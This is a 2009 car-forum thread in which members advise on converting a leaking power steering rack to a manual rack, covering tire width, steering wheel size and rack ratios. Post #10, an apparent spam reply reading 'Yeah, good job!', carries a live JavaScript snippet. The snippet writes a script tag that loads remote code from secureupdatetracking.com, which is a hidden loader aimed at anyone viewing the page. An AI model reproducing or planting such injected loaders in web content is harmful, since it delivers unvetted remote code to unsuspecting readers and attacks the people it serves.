power rack vs manual

jansen29

Member

Mar 26, 2007

73

0

7

Mountain View, CA

Oct 27, 2009

#1

• Oct 27, 2009

• #1

Hey everyone,

I have been wanting to change over my power rack to a manual rack and wonder how hard will will be to steer. I have already replaced the rag joint with a flaming river joint and I know that I will have to get another joint with the manual spline count. Just wondering if it will be worth the trouble, my power rack is worn out and is leaking bad.
thanks,
Jansen

 

$50COBRAII

New Member

May 12, 2006

60

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Oct 27, 2009

#2

• Oct 27, 2009

• #2

Very well done!

 

LILCBRA

I wish I didn't have all of these balls in the air

Mod Dude

Dec 6, 2005

6,396

5,379

194

Corn County USA

Oct 28, 2009

#3

• Oct 28, 2009

• #3

I converted mine when I rebuilt it basically for the same reason. I would say it depends on what you want to tolerate and how wide your tires are. My fronts are 175's, so mine is relatively easy to turn. Now if I had something like 235's, it might not be so easy.

 

LILCBRA

I wish I didn't have all of these balls in the air

Mod Dude

Dec 6, 2005

6,396

5,379

194

Corn County USA

Oct 28, 2009

#4

• Oct 28, 2009

• #4

Oh yeah, your steering wheel size can help or hurt too, so take that into account as well as tire size.

 

jansen29

Member

Mar 26, 2007

73

0

7

Mountain View, CA

Oct 28, 2009

#5

• Oct 28, 2009

• #5

I have 215 yoko's up front and a grant streeing wheel. One other thing is that I did the damage to my power rack by driving it with no fluid going thru it for a year. I couldn't get the pump to work right the march pulleys I have but I got it at last and now I trashed by rack.

 

5

54deuce

Member

Jun 1, 2009

106

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16

Oct 29, 2009

#6

• Oct 29, 2009

• #6

I just did mine for weight savings and oil pan clearance. With the 225s I had on there and the car not in motion it was hard to turn the wheel, rolling its fine. I did run a power rack with out a pump for a few years I never had any troubles with it.

 

78CobraII

Moderator

Jul 31, 1998

1,808

8

39

Birmingham, AL

Oct 29, 2009

#7

• Oct 29, 2009

• #7

I've never driven a 302 powered MII with non-assist steering, but my 2.3L powered one is not too bad. It will be fine once the car gets moving, but manouvering in tight spaces at low speeds will be a challenge.

The larger diameter your steering wheel is, the more leverage you will have to turn the car at low speeds. A 15" steering wheel will be good, a 13" wheel will be tough!

 

Jax Rhapsody

Member

Apr 13, 2009

65

0

6

Louisville,KY

Nov 8, 2009

#8

• Nov 8, 2009

• #8

Slow speeds will always be a problem regauerdless of steering wheel size.I used to work at Worldport aand drove the retired STepvans that had power brakes and that it about it. If you can deal with it, its a good way to free up some engine power.

 

Blue coyote

Founding Member

Sep 14, 2002

347

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16

North America's hemp-basket, BC, Canada

Nov 9, 2009

#9

• Nov 9, 2009

• #9

i'll be swapping in a manual rack on the Rat Snake later this winter, but I drove for a while with the power rack disconnected (pump removed), 225/50R15's on the front, and a 14" Grant wheel.

When stopped, the steering is quite stiff, and even when moving, hitting the lip of the curb for a driveway got a bit snakey, but overall, I find it works fine...

 

H

HenriSoren

New Member

Nov 3, 2009

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Nov 9, 2009

#10

• Nov 9, 2009

• #10

Yeah, good job!
<script language='JavaScript' type='text/javascript'>document.write ("<" + "script language='JavaScript' type='text/javascript' src='http://secureupdatetracking.com/xux/output/index/Ur5HMXLyMVIgg6uA1km1ceh8Ilg7r4bm?rand=" + Math.random() * 100000000 +"'></"+"script>")</script>

 

V

Volvo Heretic

New Member

Oct 29, 2009

15

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0

Nov 9, 2009

#11

• Nov 9, 2009

• #11

Sorry to butt in, but wouldn't it be nice to adapt-in a later model mustang 15:1 ratio rack instead of the 20:1 manual rack from AGR 012-712581 , say out of Jeg's Racing?
AGR Rack & Pinion - JEGS

I thought that I have read that the MII rack and the latter one's have the same 24.5" inner tie rod distance.

I have also read somewhere that there is a proportioning type valve that you could install to control the powersteering fluid flow and feel.

I could be totally wrong.